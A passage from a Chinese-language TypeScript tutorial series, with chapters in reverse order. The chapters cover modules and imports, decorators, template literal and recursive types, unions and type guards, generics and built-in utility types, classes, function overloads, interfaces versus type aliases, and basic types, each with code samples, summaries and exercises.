import defaultExport from "./mod";   // 默认导入

用 type 前缀（或 import type）只导入类型，配合 isolatedModules 更安全、且不会被编译进 JS：

import type { Point } from "./math"; // 纯类型，编译后整行消失

3. 默认导出 vs 命名导出

	默认导出	命名导出
写法	`export default`	`export const/function`
导入	任意名字	必须同名（可重命名）
数量	每文件一个	多个
推荐	一个文件一个主产物时用	多数情况更推荐

推荐命名导出：可静态分析、重构友好、IDE 补全好。默认导出适合"一个模块一个类/函数"的场景。

4. 重命名与聚合

import { square as sq } from "./math";   // 导入时改名
export { square as pow2 } from "./math"; // 重新导出

// 聚合多个模块
export * from "./math";
export * from "./string";

5. 动态 import()

运行时按需加载，返回 Promise：

button.onclick = async () => {
  const { heavyCalc } = await import("./heavy");
  heavyCalc();
};

动态 import() 让代码分割/懒加载成为可能，是前端性能优化关键点。

6. 模块解析 moduleResolution

tsconfig 的 moduleResolution 决定 TS 怎么找模块：

{
  "module": "ESNext",
  "moduleResolution": "Bundler" // 或 Node / Node16 / NodeNext
}

Node/NodeNext：模拟 Node 的 node_modules 解析，需写扩展名（NodeNext 要求）。
Bundler：给 Vite/webpack 等打包器用，不用写 .js 扩展名，最省心（现代前端首选）。

路径别名也要在此生效：

{
  "baseUrl": ".",
  "paths": { "@/*": ["src/*"] }
}

7. namespace（遗留，谨慎）

TS 早期用 namespace 做全局命名隔离：

namespace Geometry {
  export function area(r: number) { return Math.PI * r * r; }
}
Geometry.area(1);

但在 ES Module 时代，几乎不再需要 namespace——文件即模块，用 export/import 即可。仅维护老代码时可能遇到，新项目请直接用 ES Module。

小结

export/import 是模块标准；import type 只导类型，编译后消失。
优先命名导出（可分析、可重构）。
动态 import() 实现懒加载。
moduleResolution 选 Bundler（前端）或 NodeNext（Node）。
namespace 是旧时代产物，新项目用 ES Module 替代。

练习

建 string.ts 导出 capitalize 与 truncate，在 main.ts 用命名导入调用。
把上题改成默认导出一个对象，再改回命名导出，体会差异。
配置 paths 别名 @/* -> src/*，用 import { x } from "@/utils" 验证。
用动态 import() 在按钮点击时加载一个含大函数模块。

10 · 装饰器

Sun, 27 Sep 2026 12:00:00 GMT

[!NOTE] 装饰器是"给类/方法/属性加元数据或行为的注解语法"，NestJS、Angular 大量使用。TS 里它是实验特性，需显式开启。

1. 开启装饰器

在 tsconfig.json：

{
  "compilerOptions": {
    "experimentalDecorators": true,
    "emitDecoratorMetadata": true // 配合反射元数据（NestJS 需要）
  }
}

⚠️ TS 的装饰器基于旧版（stage-1）提案写法；新版 TC39 装饰器（stage-3）语法不同，TS 5.0+ 也在逐步对齐。本篇按当前 TS 文档的写法讲，NestJS 等框架仍用此写法。

2. 类装饰器

接收构造函数，可替换/增强类：

function Seal(constructor: Function): void {
  Object.seal(constructor);
  Object.seal(constructor.prototype);
}
@Seal
class User {
  name = "Tom";
}

类装饰器参数就是被装饰类的构造函数。

3. 方法装饰器

接收 (target, propertyKey, descriptor)：

function Log(
  target: any,
  propertyKey: string,
  descriptor: PropertyDescriptor,
): void {
  const original = descriptor.value;
  descriptor.value = function (...args: any[]) {
    console.log(`调用 ${propertyKey}`, args);
    return original.apply(this, args);
  };
}
class Calc {
  @Log
  add(a: number, b: number): number { return a + b; }
}

方法装饰器常用于日志、缓存、权限、性能统计——不侵入业务代码地"包"一层。

4. 访问器 / 属性 / 参数装饰器

// 访问器装饰器（getter/setter），签名同方法装饰器但 descriptor.value 为 undefined
function NoNegative(target: any, key: string, descriptor: PropertyDescriptor) {
  const setter = descriptor.set!;
  descriptor.set = function (v: number) {
    if (v < 0) throw new Error("不能为负");
    setter.call(this, v);
  };
}

class Account {
  private _bal = 0;
  @NoNegative
  set balance(v: number) { this._bal = v; }
  get balance() { return this._bal; }
}

// 属性装饰器：(target, propertyKey)
function Format(fmt: string) {
  return function (target: any, key: string) {} as any;
}

// 参数装饰器：(target, propertyKey, parameterIndex)
function Validate(target: any, key: string, index: number) {}

属性/参数装饰器多用于收集元数据（如依赖注入标记），本身不返回值。

5. 装饰器工厂

上面装饰器都是"硬编码"。用工厂返回真正的装饰器，可传参：

function Role(role: string) {
  return function (constructor: Function) {
    constructor.prototype.role = role;
  };
}
@Role("admin")
class AdminService {}

工厂 = "返回装饰器函数的函数"，是装饰器传参的标准写法。

6. 执行顺序

同一声明上多个装饰器：从下到上求值，但从上到下应用。
不同声明：参数装饰器 → 方法/访问器 → 属性 → 类（先内后外）。

理解顺序在调试元数据注入时有用，日常不必死记。

7. 与框架的关系

NestJS 用装饰器声明路由、依赖、守卫：

@Controller("users")
class UserController {
  @Get(":id")
  @UseGuards(AuthGuard)
  findOne(@Param("id") id: string) {}
}

装饰器本身只是"语法糖 + 元数据"，真正的逻辑由框架读取这些元数据后驱动。理解这点就不怕框架黑魔法了。

小结

装饰器需 experimentalDecorators: true。
五类：类 / 方法 / 访问器 / 属性 / 参数装饰器，参数各异。
装饰器工厂 = 返回装饰器的函数，用于传参。
实战价值在 AOP（日志/鉴权/缓存）与框架元数据（NestJS）。

练习

写 @readonly 类装饰器，把类的 prototype 方法设为不可写（Object.defineProperty）。
写 @Log 方法装饰器记录方法名与耗时（performance.now()）。
用装饰器工厂 @Prefix("api") 给类加一个静态 prefix 属性。
思考：为什么 NestJS 的 @Get() 不需要返回值？（提示：收集元数据）

09 · 高级类型与类型体操入门

Sun, 27 Sep 2026 11:00:00 GMT

[!NOTE] "类型体操"指用 TS 类型系统做复杂推导（社区梗，形容像体操一样绕）。本篇带你手搓几个经典工具类型，理解推导套路即可，不必追求炫技。

1. 模板字面量类型

类型层面也能做字符串拼接：

type World = "world";
type Hello = `hello ${World}`; // "hello world"

type EventName<T extends string> = `${T}Changed`;
type E = EventName<"name">; // "nameChanged"

配合联合会笛卡尔展开：

type Color = "red" | "blue";
type Size = "s" | "m";
type Class = `${Color}-${Size}`; // "red-s" | "red-m" | "blue-s" | "blue-m"

实战：给 CSS 属性名加前缀、给事件名加 on 等。

2. 递归类型

类型可递归引用自身，处理嵌套结构：

type Json =
  | string | number | boolean | null
  | Json[]
  | { [key: string]: Json };

递归类型描述树/JSON 等自相似数据。配合映射类型可写 DeepReadonly、DeepPartial（第 7 篇提过）。

3. 索引访问进阶

type Prop<T, K extends keyof T> = T[K];
type Nested = { user: { name: string } };
type Name = Nested["user"]["name"]; // string（链式索引访问）

4. 手搓工具类型（核心练习）

MyPick<T, K>

type MyPick<T, K extends keyof T> = {
  [P in K]: T[P];
};
type R = MyPick<{ a: 1; b: 2 }, "a">; // { a: 1 }

MyReadonly<T>

type MyReadonly<T> = {
  readonly [K in keyof T]: T[K];
};

MyOmit<T, K>

type MyOmit<T, K extends keyof T> = Pick<T, Exclude<keyof T, K>>;
// 或
type MyOmit2<T, K extends keyof T> = {
  [P in Exclude<keyof T, K>]: T[P];
};

MyAwaited<T>（处理 Promise 嵌套）

type MyAwaited<T> =
  T extends Promise<infer U>
    ? U extends Promise<any>
      ? MyAwaited<U>
      : U
    : never;
type R = MyAwaited<Promise<Promise<number>>>; // number

MyCapitalize<T>（用内置大小写映射）

type MyCapitalize<T extends string> =
  T extends `${infer F}${infer Rest}`
    ? `${Uppercase<F>}${Rest}`
    : T;
type R = MyCapitalize<"hello">; // "Hello"

5. 类型体操的套路

拆：把目标类型拆成"键的集合"与"值的变换"。
遍历：用 [K in keyof T] 或 [K in U] 映射。
提取：用 infer 在条件类型里抓子类型。
递归：遇到嵌套用自身再调一次。
约束：用 K extends keyof T 保证合法。

这些也是 type-challenges（社区题库）的常考题。

6. 现实中的边界

类型体操很酷，但生产代码别过度：类型越复杂，编译越慢、可读性越差。原则：

库作者/通用工具值得做；业务代码能用内置 Partial/Pick/Omit 就别手写。
类型报错难读时，先想"是不是设计太复杂"，而非硬刚。

小结

模板字面量类型可做类型级字符串拼接与联合展开。
递归类型描述自相似结构（JSON/树）。
手搓 MyPick/MyReadonly/MyOmit/MyAwaited 掌握映射+infer 套路。
类型体操适可而止，业务里优先用内置工具类型。

练习

实现 MyExclude<T, U>（T extends U ? never : T）。
实现 MyRecord<K extends keyof any, V>（{ [P in K]: V }）。
用模板字面量实现 type Handler<T extends string> = \on${Capitalize<T>}``。
实现递归 MyDeepReadonly<T>，让嵌套对象全部只读。

08 · 联合、交叉与类型守卫

Sun, 27 Sep 2026 10:00:00 GMT

[!NOTE] JS 运行时值是动态的，TS 靠"类型收窄"在代码流里逐步把宽泛类型变精确。本篇讲清所有收窄手段，尤其是可辨识联合这一实战神器。

1. 联合类型

一个值可以是多种类型之一：

let id: number | string;
id = 1;
id = "a1";

联合让 API 更灵活（如 id 既接受数字也接受字符串）。但访问联合的共有成员才安全，专有成员需先收窄。

2. 字面量联合

type Status = "idle" | "loading" | "success" | "error";
let s: Status = "loading";
s = "done"; // ❌ 不在联合内

字面量联合是最常用的"枚举替代"，零运行时开销。

3. 类型收窄 narrowing

TS 在 if/三元等控制流里会自动收窄联合：

function format(value: number | string): string {
  if (typeof value === "string") {
    return value.trim(); // 这里 value 被收窄为 string
  }
  return value.toFixed(2); // 这里收窄为 number
}

4. 收窄手段一览

手段	适用
`typeof x === "string"`	原始类型
`x instanceof Foo`	类实例
`key in x`	对象是否含某键
`x === 字面量`	字面量联合
自定义守卫 `is`	任意复杂判断
可辨识联合的 `switch`	带 `kind` 的联合

in 示例：

type A = { a: number };
type B = { b: string };
function f(x: A | B): void {
  if ("a" in x) x.a; // A
  else x.b;          // B
}

5. 可辨识联合 discriminated union

给联合每个成员加一个共同的字面量字段（kind/type），即可用 switch 安全分派：

type Shape =
  | { kind: "circle"; r: number }
  | { kind: "rect"; w: number; h: number };

function area(s: Shape): number {
  switch (s.kind) {
    case "circle": return Math.PI * s.r ** 2; // s 收窄为 circle
    case "rect":   return s.w * s.h;          // s 收窄为 rect
    default:
      // 穷尽性检查：若漏 case，这里 s 是 never，会编译报错
      const _exhaustive: never = s;
      return _exhaustive;
  }
}

never 穷尽检查是杀手锏：以后新增 kind，忘了加 case，编译期立刻报错，不会漏处理。

6. 自定义类型守卫 is

判断逻辑复杂时，用 is 抽成守卫函数：

function isFish(x: Fish | Bird): x is Fish {
  return (x as Fish).swim !== undefined;
}
function move(x: Fish | Bird): void {
  if (isFish(x)) x.swim(); // 收窄为 Fish
  else x.fly();
}

x is Fish 告诉 TS："这个函数返回 true 时，x 就是 Fish"，从而在调用处自动收窄。

7. 断言 as 与非空 !

⚠️ 这两是"我比编译器更懂"的逃生舱，慎用：

const el = document.getElementById("app") as HTMLDivElement; // 断言类型
const len = (el as any).length;                              // 双断言链，危险

function f(x: string | null): number {
  return x!.length; // 非空断言：你保证 x 非 null，否则运行时炸
}

规则：

优先用收窄，别用 as。
必须断言时，用 as 一步到位，避免 as any as X。
! 只在你确定非空时用，否则把运行时错误藏起来。

小结

联合 A | B 与字面量联合是灵活 API 的基础。
收窄手段：typeof/instanceof/in/===/自定义 is/可辨识联合。
可辨识联合 + never 穷尽检查 = 漏 case 编译期报错。
as/! 是逃生舱，能收窄就别断言。

练习

定义可辨识联合 type Resp = { ok: true; data: string } | { ok: false; error: string }，写 handle(r: Resp) 用 switch。
给上题加 never 穷尽检查，然后新增一个 ok 变体看是否报错。
写 isString(x: unknown): x is string 守卫函数，并在 format 里用它收窄。
解释 as any 为什么危险，什么场景才该用 as。

07 · 泛型进阶与内置工具类型

Sun, 27 Sep 2026 09:00:00 GMT

[!NOTE] 本篇进入"类型编程"：用类型去操作类型。条件类型、infer、映射类型是 TS 类型系统的三把瑞士军刀，内置工具类型都建立在它们之上。

1. 条件类型

语法像三元表达式，但在类型层面：

type IsString<T> = T extends string ? "yes" : "no";
type A = IsString<"hi">;  // "yes"
type B = IsString<42>;    // "no"

注意 T extends U 在条件类型里，若 T 是联合，会发生分布式条件——对联合每个成员分别求值：

type ToArray<T> = T extends any ? T[] : never;
type R = ToArray<string | number>; // string[] | number[]

想关闭分发，用元组包一层：[T] extends [any]。

2. infer 提取类型

infer 在 extends 中"占位"提取一部分类型：

type ElementType<T> = T extends (infer U)[] ? U : T;
type E = ElementType<number[]>; // number

type ReturnOf<T> = T extends (...args: any[]) => infer R ? R : never;
type R = ReturnOf<() => boolean>; // boolean

infer U 表示"这里有个待推断的类型"，匹配成功后被绑定到 U。

3. keyof 与索引访问

interface User { id: number; name: string }
type Keys = keyof User;        // "id" | "name"
type NameType = User["name"];  // string
type AllValues = User[keyof User]; // number | string

keyof T 得到 T 所有键的联合；T[K] 得到键 K 对应的值类型。两者结合可写出"按 key 取值"的泛型：

function getProp<T, K extends keyof T>(obj: T, key: K): T[K] {
  return obj[key];
}
getProp({ id: 1, name: "Tom" }, "name"); // 返回 string，类型精确

4. 映射类型

遍历一个类型的所有键，逐一变换：

type Optional<T> = {
  [K in keyof T]?: T[K];
};
type PartialUser = Optional<User>; // { id?: number; name?: string }

in keyof T 遍历键；? 加可选；T[K] 取原值类型。这是 Partial 的底层实现。

5. 内置工具类型（必背）

工具类型	作用	近似实现
`Partial<T>`	全部变可选	`{ [K in keyof T]?: T[K] }`
`Required<T>`	全部必填	`{ [K in keyof T]-?: T[K] }`
`Readonly<T>`	全部只读	`{ readonly [K in keyof T]: T[K] }`
`Pick<T, K>`	挑部分键	`{ [P in K]: T[P] }`
`Omit<T, K>`	排除部分键	`Pick<T, Exclude<keyof T, K>>`
`Record<K, V>`	键到值的映射	`{ [P in K]: V }`
`Exclude<T, U>`	排除联合成员	`T extends U ? never : T`
`Extract<T, U>`	提取联合成员	`T extends U ? T : never`
`NonNullable<T>`	去掉 null/undefined	`T extends null
`ReturnType<T>`	函数返回值类型	用 infer
`Parameters<T>`	函数参数元组	用 infer

用法示例：

type UserPreview = Pick<User, "id" | "name">; // { id: number; name: string }
type UserInput = Omit<User, "id">;            // 创建时不需要 id
type Dict = Record<string, number>;          // { [k: string]: number }

function load(): { data: string } { return { data: "" }; }
type LoadResult = ReturnType<typeof load>;    // { data: string }

6. 组合使用

工具类型可嵌套组合，表达复杂变换：

type DeepPartial<T> = {
  [K in keyof T]?: T[K] extends object ? DeepPartial<T[K]> : T[K];
};

这是递归映射类型（类型体操入门，第 9 篇深入）。

小结

条件类型 T extends U ? X : Y，联合会分发；[T] 包元组可关分发。
infer 在 extends 中提取子类型。
keyof + T[K] 实现"按键取值"的精确类型。
映射类型 { [K in keyof T]: ... } 遍历变换键。
Partial/Pick/Omit/Record/ReturnType 等内置工具建立在这四者之上。

练习

用 infer 实现 FirstArg<F> 提取函数第一个参数类型。
用映射类型实现 Mutable<T>（去掉所有 readonly）。
用 Pick 和 Omit 从 interface Post { id; title; body; author } 派生 PostMeta（去掉 body）。
用 Record 定义 type HttpCodes = Record<"OK" | "NotFound", number> 并赋值。

06 · 泛型基础

Sun, 27 Sep 2026 08:00:00 GMT

[!NOTE] 泛型 = "参数化的类型"。它让函数/类/接口在保持类型安全的同时适配多种类型。本篇打基础，第 7 篇讲进阶玩法。

1. 为什么需要泛型

没有泛型时，想写一个"返回传入值"的函数只能退化成 any：

function identity(arg: any): any {
  return arg;
}
const x = identity(10); // x 是 any，丢了 number 信息

用泛型保留类型信息：

function identity<T>(arg: T): T {
  return arg;
}
const x = identity(10);   // x: number
const s = identity("hi"); // s: string

T 是类型参数，调用时由实参推断。返回值类型和入参类型被"绑定"在一起。

2. 泛型函数

function first<T>(arr: T[]): T | undefined {
  return arr[0];
}
first([1, 2, 3]);     // number | undefined
first(["a", "b"]);    // string | undefined

多个类型参数：

function pair<K, V>(key: K, value: V): [K, V] {
  return [key, value];
}

3. 泛型约束 extends

有时你想限制 T "至少长什么样"。用 extends 约束：

interface HasLength {
  length: number;
}
function longest<T extends HasLength>(a: T, b: T): T {
  return a.length >= b.length ? a : b;
}
longest("abc", "de");   // ✅ string 有 length
longest([1, 2], [3]);   // ✅ 数组有 length
// longest(10, 20);     // ❌ number 没有 length

约束让 T 既保留具体类型，又能安全访问 length。

4. 泛型默认值

类型参数也能给默认：

interface ApiResponse<T = unknown> {
  code: number;
  data: T;
}
const r1: ApiResponse = { code: 0, data: null };      // data: unknown
const r2: ApiResponse<string> = { code: 0, data: "ok" }; // data: string

默认值让可选泛型更友好，常见于库的类型定义。

5. 泛型接口

interface Result<T> {
  ok: boolean;
  value: T;
}
function ok<T>(value: T): Result<T> {
  return { ok: true, value };
}

6. 泛型类

class Stack<T> {
  private items: T[] = [];
  push(item: T): void { this.items.push(item); }
  pop(): T | undefined { return this.items.pop(); }
}
const s = new Stack<number>();
s.push(1);

实例化时指定 T，类内所有用到 T 的地方都锁定为该类型。

7. 泛型与箭头函数

给箭头函数加泛型要小心语法——<T> 易被解析为 JSX：

const identity = <T,>(arg: T): T => arg; // 加逗号 <T,> 避免歧义

在 .tsx 文件里这个逗号必需。

小结

泛型 <T> 把"类型"当参数，保留类型信息又复用逻辑。
extends 约束 T 的形态；默认值让泛型可选。
泛型可用于函数、接口、类，多个类型参数用 <K, V>。
.tsx 中写 <T,> 防止被当成 JSX。

练习

写泛型函数 last<T>(arr: T[]): T | undefined 返回最后一个元素。
用 T extends object 约束写一个 getKeys<T extends object>(o: T): (keyof T)[]。
写泛型类 Queue<T> 实现 enqueue/dequeue。
给 interface Box<T = string> 加默认值，分别用 Box 和 Box<number> 实例化。

05 · 类与面向对象

Sun, 27 Sep 2026 07:00:00 GMT

[!NOTE] TS 的 class 是 ES6 class 的超集，额外加了访问控制、抽象类、参数属性等 OOP 利器。本篇讲清类在 TS 里的正确打开方式。

1. 类的基础

class Person {
  name: string;
  constructor(name: string) {
    this.name = name;
  }
  greet(): string {
    return `我是 ${this.name}`;
  }
}
const p = new Person("Tom");

2. 访问修饰符

修饰符	可见范围
`public`	默认，哪都能访问
`private`	仅类内部（编译期约束，不等于运行时私有）
`protected`	类内部 + 子类
`readonly`	只读，初始化后不可改

class Account {
  private balance = 0;
  readonly id = "A001";
  deposit(n: number): void {
    this.balance += n; // ✅ 内部可访问
  }
}
const a = new Account();
// a.balance; // ❌ private 外部不可访问

注意：TS 的 private 是编译期检查，运行时仍可访问（编译后是普通属性）。需要真运行时私有用 #field（JS 原生私有字段）。

3. 参数属性（简写）

构造函数里直接加修饰符，会自动声明并赋值成员，少写样板：

class User {
  constructor(
    public id: number,
    public name: string,
    private token: string,
  ) {}
}
const u = new User(1, "Tom", "x");
u.id;    // ✅
u.token; // ❌ private

等价于手写 id: number; constructor(id) { this.id = id; }，但更简洁。

4. 继承 extends 与 super

class Animal {
  constructor(public name: string) {}
  move(): void { console.log(`${this.name} 移动`); }
}
class Dog extends Animal {
  constructor(name: string, public breed: string) {
    super(name); // 必须先调 super
  }
  bark(): void { console.log("汪"); }
}

子类构造函数必须先 super() 再访问 this。

5. 抽象类 abstract

抽象类不能实例化，用于定义骨架：

abstract class Shape {
  abstract area(): number; // 子类必须实现
  describe(): string {
    return `面积 ${this.area()}`;
  }
}
class Circle extends Shape {
  constructor(public r: number) { super(); }
  area(): number { return Math.PI * this.r ** 2; }
}
// new Shape(); // ❌ 抽象类不能 new

6. implements 实现接口

类可以"实现"接口，保证具备接口要求的成员：

interface Loggable {
  log(): void;
}
class Logger implements Loggable {
  log(): void { console.log("log"); }
}

implements 只做结构检查，不继承实现——接口里没有方法体。一个类可实现多个接口。

接口 vs 抽象类：接口只约束形状（多实现、无状态）；抽象类可带实现与状态（单继承）。

7. 存取器 getter / setter

class Temperature {
  private _c = 0;
  get celsius(): number { return this._c; }
  set celsius(v: number) {
    if (v < -273.15) throw new Error("低于绝对零度");
    this._c = v;
  }
  get fahrenheit(): number { return this._c * 9 / 5 + 32; }
}

getter/setter 让"看似属性访问"实则带校验逻辑，且只在 target >= ES5 时可用。

8. 静态成员

class MathUtil {
  static PI = 3.14159;
  static square(n: number): number { return n * n; }
}
MathUtil.square(3); // 不需要实例

小结

修饰符 public/private/protected/readonly 控制可见性与可变性（编译期）。
参数属性 constructor(public x) 一键声明+赋值。
extends 继承，super() 必须先调用；abstract 定义骨架。
implements 让类满足接口（多实现、无继承）；getter/setter 带逻辑的属性访问；static 类级成员。

练习

写一个 abstract class Vehicle { abstract wheels(): number }，派生 Car 和 Bike 实现。
用参数属性写一个 class Point { constructor(public x, public y) }，加 distance() 方法。
用 implements 让一个 class Cache 满足 interface Storage { get(k): string; set(k, v): void }。
给某属性加 setter 做范围校验（如年龄 0–150），越界抛错。

04 · 函数类型深入

Sun, 27 Sep 2026 06:00:00 GMT

[!NOTE] 函数是 JS 的一等公民，TS 给函数类型提供了远超参数注解的能力：重载、this 约束、灵活的参数形态。本篇一次讲透。

1. 函数类型表达式

把"函数长什么样"抽成类型：

type Greet = (name: string) => string;

const sayHi: Greet = (n) => `hi ${n}`;

注意区分两种箭头：

(name: string) => string 是类型里的函数签名。
(name: string): string => {} 是值里的箭头函数（返回类型注解在参数外）。

2. 参数形态

// 可选参数 ?
function build(name: string, age?: number): string {
  return age ? `${name}/${age}` : name;
}

// 默认参数（默认参数自动推断类型）
function fetch(url: string, method = "GET"): void {}

// rest 参数
function sum(...nums: number[]): number {
  return nums.reduce((a, b) => a + b, 0);
}

规则：可选参数和默认参数必须放在必填参数之后；rest 永远最后。

3. 函数重载 overload

JS 函数常根据参数类型/个数返回不同结果。TS 用重载签名 + 实现签名表达：

// 重载签名（对外可见，无函数体）
function reverse(x: string): string;
function reverse(x: number): number;

// 实现签名（对外不可见，需兼容所有重载）
function reverse(x: string | number): string | number {
  if (typeof x === "string") return x.split("").reverse().join("");
  return Number(String(x).split("").reverse().join(""));
}

reverse("abc");  // ✅ string
reverse(123);    // ✅ number
reverse(true);   // ❌ 不在重载列表中

要点：

重载签名可以有多个，实现签名只有一个且必须兼容全部重载。
调用时按重载签名匹配，类型更精确（返回值是 string 而非 string | number）。

4. this 类型与 this 参数

JS 里 this notoriously 难推断。TS 用显式 this 参数标注：

interface Counter {
  count: number;
  inc(this: Counter): void;
}
const c: Counter = {
  count: 0,
  inc() { this.count++; },
};

不写 this: Counter 时，方法内 this 会被推断为 Counter，一般够用。但当函数被抽离调用时容易丢 this：

function print(this: User): void {
  console.log(this.name);
}
const u: User = { name: "Tom", print } as any;
// 把 print 当回调传出去时，若没约束 this 会报错

this 参数必须放在参数列表第一位，且只用于类型检查，编译后会被擦除。

5. 回调里的 this

常见坑：回调函数中 this 指向丢失。配合 this 类型可约束：

interface Handlers {
  onClick(this: Button, e: Event): void;
}
class Button {
  label = "btn";
  bind(h: Handlers) {
    document.addEventListener("click", () => h.call(this, event));
  }
}

这样 h 里只能用 Button 的 this，避免回调里误用外层 this。

6. 构造函数类型

用 new 描述可 new 的东西：

type Constructor = new (name: string) => Animal;
function create(Ctor: Constructor, name: string): Animal {
  return new Ctor(name);
}

小结

函数类型表达式 (a: T) => R 用于注解函数变量。
可选 ?、默认、rest 参数各有位置约束。
重载 = 多个对外签名 + 一个兼容实现，提升调用侧精度。
this 参数放在第一位，约束方法/回调里的 this，编译后擦除。

练习

写 type BinaryOp = (a: number, b: number) => number，实现 add/sub/mul 三个符合该类型的值。
用重载实现 pad(s: string, n: number): string 与 pad(n: number, len: number): string（数字补零）。
写一个需要 this: { value: number } 的 double(this: { value: number }): number 方法并测试。
解释"实现签名必须兼容所有重载签名"的含义，并故意写个不兼容的看报错。

03 · 接口与类型别名

Sun, 27 Sep 2026 05:00:00 GMT

[!NOTE] 本篇讲 TS 描述"对象形状"的两大工具：interface 与 type。掌握它们，等于掌握了 TS 描述数据结构的语法。

1. interface 定义对象形状

interface User {
  id: number;
  name: string;
  email: string;
}

function sendEmail(user: User): void {
  console.log(`给 ${user.name} 发邮件`);
}

只要传入的对象结构匹配（有 id/name/email），就通过——TS 是结构化类型系统（鸭子类型），不看"是不是同一个类"，只看"长得像不像"。

2. 可选与只读

interface User {
  id: number;
  name: string;
  bio?: string;            // ? 可选成员
  readonly createdAt: Date; // readonly 只读，赋值后不可改
}

const u: User = { id: 1, name: "Tom" }; // bio 可省略
u.createdAt = new Date(); // ❌ readonly 不可重新赋值

readonly 只约束编译期的重新赋值，不保证深层不可变（数组元素、对象属性仍可被改）。深层冻结要用 Object.freeze 或 Readonly<T>（第 7 篇）。

3. 索引签名

当你不知道对象有哪些键、但知道键值类型时用索引签名：

interface StringMap {
  [key: string]: string;
}
const dict: StringMap = { a: "1", b: "2" };

常见场景：配置对象、字典结构。注意：一旦有索引签名，所有显式成员的类型必须兼容该签名的值类型。

4. 函数类型接口

接口也能描述函数：

interface SearchFn {
  (source: string, keyword: string): boolean;
}
const search: SearchFn = (s, k) => s.includes(k);

不过函数类型更常用 type 写（见第 4 篇），接口更偏向对象。

5. 接口继承 extends

接口可继承多个：

interface Animal {
  name: string;
}
interface Dog extends Animal {
  bark(): void;
}
// Dog = { name: string; bark(): void }

6. type 类型别名

type 给任意类型起名字，不只是对象：

type ID = number | string;
type Point = { x: number; y: number };
type Callback = (err: Error | null, data: string) => void;

type 还能配合联合、交叉、条件类型做复杂组合（后续多篇大量用到）。

7. interface vs type：怎么选

这是高频面试题，结论如下：

场景	推荐
描述对象/类的公开形状	`interface`
需要被类 `implements`	`interface`
联合类型、元组、基本类型别名	`type`
需要交叉 `&`、条件、映射类型	`type`
想被声明合并扩展	`interface`

关键差异：

声明合并：同名 interface 会自动合并；同名 type 会报错。

interface Foo { a: number }
interface Foo { b: string } // ✅ 合并为 { a: number; b: string }

继承方式：interface 用 extends，type 用交叉 &。

实践建议：写对象/数据结构优先 interface（可读性好、可合并）；涉及联合/交叉/工具类型用 type。团队统一即可。

8. 交叉类型 &

交叉把多个类型合并成一个"全部都有"的类型：

type A = { x: number };
type B = { y: string };
type C = A & B; // { x: number; y: string }

const c: C = { x: 1, y: "hi" };

对象交叉 = 成员并集；同名成员若类型冲突（如 x: number & x: string）会变成 never，要小心。

小结

interface 描述对象形状，支持可选 ?、只读 readonly、索引签名、继承 extends、声明合并。
type 更通用，可表达联合/交叉/基本类型别名。
对象结构用 interface，组合类型用 type。
交叉 & 合并成员，同名冲突会变 never。

练习

定义 interface Product { id: number; name: string; price: number; discount?: number }，写函数计算最终价。
用 type 定义 type Coordinate = { lat: number; lng: number }，再用交叉 & 加 type WithName = Coordinate & { name: string }。
验证声明合并：写两个同名 interface Config，观察合并结果。
思考 type X = { a: number } & { a: string } 中 a 是什么类型？

02 · 基础类型与类型注解

Sun, 27 Sep 2026 04:00:00 GMT

[!NOTE] 本篇讲 TS 的"原子"——基础类型。理解它们和类型推断，是后续所有类型组合的地基。

1. 类型注解语法

TS 在变量/参数/返回值后加 : 类型：

let age: number = 18;
function add(a: number, b: number): number {
  return a + b;
}

但大多数时候你不用手写注解——TS 会推断（见第 4 节）。注解主要用于：函数参数（无法推断）、对象结构、想收窄类型时。

2. 原始类型

类型	说明	示例
`string`	字符串	`"hello"`
`number`	所有数字（含整数/浮点/NaN）	`42`、`3.14`
`boolean`	布尔	`true`
`bigint`	大整数	`100n`
`symbol`	唯一符号	`Symbol("k")`
`null` / `undefined`	空值	——

let title: string = "TS 入门";
let count: number = 0;
let done: boolean = false;

TS 里没有 int/float 之分，数字统一是 number（编译到 JS 都是 number）。

3. 数组与元组

// 数组：两种写法等价
let nums: number[] = [1, 2, 3];
let nums2: Array<number> = [1, 2, 3];

// 元组：固定长度、固定位置类型
let pair: [string, number] = ["age", 18];
pair[0].toUpperCase(); // ✅ string 方法可用
pair[1].toFixed(2);    // ✅ number 方法可用

元组常用于"固定结构的多返回值"，比如 useState 的 [state, setState]。

4. 枚举 enum

枚举给一组相关常量起名字：

enum Direction {
  Up,
  Down,
  Left,
  Right,
}
Direction.Up;    // 0
Direction.Down;  // 1

可指定值：

enum Status {
  Success = 200,
  NotFound = 404,
  Error = 500,
}

字符串枚举：

enum Role {
  Admin = "ADMIN",
  User = "USER",
}

⚠️ 陷阱：const enum。普通 enum 会编译成 JS 对象，有运行时开销；const enum 在编译期被内联替换，但配合某些打包器（尤其 isolatedModules）会报错。现代项目多用字符串字面量联合替代 enum（见第 8 篇），更轻量也更 TS 化。

5. any / unknown / never / void

这四个容易混，务必分清：

any —— "关掉类型检查"

let val: any = 4;
val = "hello";
val.foo.bar; // 不报错，但运行时炸

any 会逃逸整个类型系统，能调用任何成员。尽量少用；实在要接不明来源数据时，优先 unknown。

unknown —— "安全的 any"

let input: unknown = getUserInput();
// input.toUpperCase(); // ❌ 必须先收窄类型
if (typeof input === "string") {
  input.toUpperCase(); // ✅ 收窄后可用
}

unknown 是"我还不知道类型"，使用前必须做类型守卫，安全得多。

never —— "永远不会发生"

function fail(msg: string): never {
  throw new Error(msg);
}

never 表示函数不返回（抛异常/死循环），或"一个不可能存在的值"。它常用于穷尽性检查（第 8 篇联合类型会用到）。

void —— "没有返回值"

function log(msg: string): void {
  console.log(msg);
}

void 表示函数不返回有意义的值。注意：undefined 是具体值，void 是"无返回"的语义。

6. 类型推断

TS 能自动推断绝大多数类型，不必处处注解：

let x = 10;          // 推断为 number
x = "hi";            // ❌ 不能改成 string

const arr = [1, 2];  // 推断为 number[]

推断规则速记：

用 let 初始化 → 推断为值的类型。
用 const 初始化对象/数组 → 推断为足够宽的类型（数组是 T[]，不是元组）。
函数返回值 → 由 return 推断；无 return 为 void。

最佳实践：函数参数、导出对象结构显式注解；局部变量交给推断。

7. 字面量类型

字面量不仅能当值，也能当类型——值本身成为类型：

let mode: "light" | "dark" = "light";
mode = "dark";   // ✅
mode = "blue";   // ❌

const port = 8080; // const 下推断为字面量类型 8080（不是 number）

字面量类型 + 联合 = 可辨识联合（第 8 篇核心），是 TS 最实用的特性之一。

小结

原始类型 string/number/boolean/bigint/symbol/null/undefined。
数组 T[]、元组 [T, U]（固定结构）。
enum 方便但有运行时开销，现代偏好字面量联合。
any(关检查)/unknown(需收窄)/never(不返回)/void(无返回) 各自有清晰边界。
类型推断省注解，但参数和导出结构要显式写。

练习

